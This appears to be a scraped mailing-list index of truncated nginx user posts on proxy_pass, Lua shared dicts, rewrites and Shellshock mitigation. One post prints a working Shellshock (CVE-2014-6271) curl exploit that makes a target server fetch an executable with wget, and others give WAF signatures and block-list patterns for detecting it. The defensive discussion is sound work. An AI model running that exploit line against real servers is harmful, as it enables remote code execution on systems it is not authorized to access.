>>In general it shouldn’t since the ‘?start=’ is handled by nginx and not
varnish, but I’m not exactly sure how the mp4 module of nginx handles a
proxied request.
You have to test it.
Sure, i'll test it.
sub vcl_fetch {
return (pass);
}
You're right about return(pass), coalescing doesn't work wi
Hello
I am using http://wiki.nginx.org/HttpLuaModule#lua_shared_dict
I am storing a set of of ids.
local a_uuid = "...
a_dict.set(a_dict, a_uuid, a_uuid)
Ideally it would be more efficient for my use case to have lua_shared_set or
lua_shared_bloom_filter
Has anyone encounter/ implement a sh
By default the $uri is appended to the proxy_pass directive.
Since you defined as
proxy_pass http://upstream*/*;
and the $uri starts with a slash you will have a double slash.
Try to set proxy_pass like
proxy_pass http://upstream;
On Fri, Sep 26, 2014 at 2:02 PM, Marcello Rocha wrote:
> Hi list
Hi list, this is my first post here, so If I commit any blunder please let
me know.
I have this location block:
location /some_path/ {
# this sets the mobile_rewrite variable based on a regex against
the user_agent
include /etc/nginx/mobile;
# This is where the trouble li
On Fri, Sep 26, 2014 at 09:43:59AM -0400, jamel wrote:
Hi there,
> location /path {
> rewrite ^ /path/file_$arg_x_$arg_y_$arg_z.txt break;
> root /var/www;
> }
>
> But it is not working. Because nginx tries to use variables x_, y_.
Does it?
Or does it try to use variables arg_x_ and a
Hello,
I'm trying to rewrite URL with parameters x, y, z to filename by such
template: file_{x}_{y}_{z}.txt
location /path {
rewrite ^ /path/file_$arg_x_$arg_y_$arg_z.txt break;
root /var/www;
}
But it is not working. Because nginx tries to use variables x_, y_.
How can I use undersco
curl -k -H 'User-Agent: () { somedummytext; }; /usr/bin/wget -O
/tmp/nastyexe http://myserver.com/nastyexe' https://target.com/cgi-bin/hi
:D
if, you should try to match for (regex-pattern) "\(\) {"
#since this must be written like this;
an additional space between "() {" would render the e
hi pekka,
since the attack, esp. against CGI, is possible through (custom)
headers/cookies etc
you'd need some waf-functionalities (afaik)
naxsi, an nginx-based waf, has a signature for this since wednesday
MainRule "str:() {" "msg:Possible Remote code execution through Bash
CVE-2014-6271" "mz
Untested but should work;
between http {}
map $request $shellshockblock {
default 0;
~*\:\; 1;
~*ping 1;
~*\/bash 1;
}
inside location {} if ($shellshockblock) { re
Hi
I have seen eg. Netscaler response policy which can detect if someone is
trying shellshock bug using http headers.
I am using nginx as reverse proxy so is there good way to make a similar
protection using nginx features?
eg. checking http headers and drop/return 404 if shellshock code is
d
Hi community,
We are using Nginx as static http server to cache/send static smal file.
The average file size is about 10k ~ 200k -, and nginx server can process
~1 request per second. It runs well but some times most of nginx worker
go into Stat D. and there's no way to kill them but restart s
11 matches
Mail list logo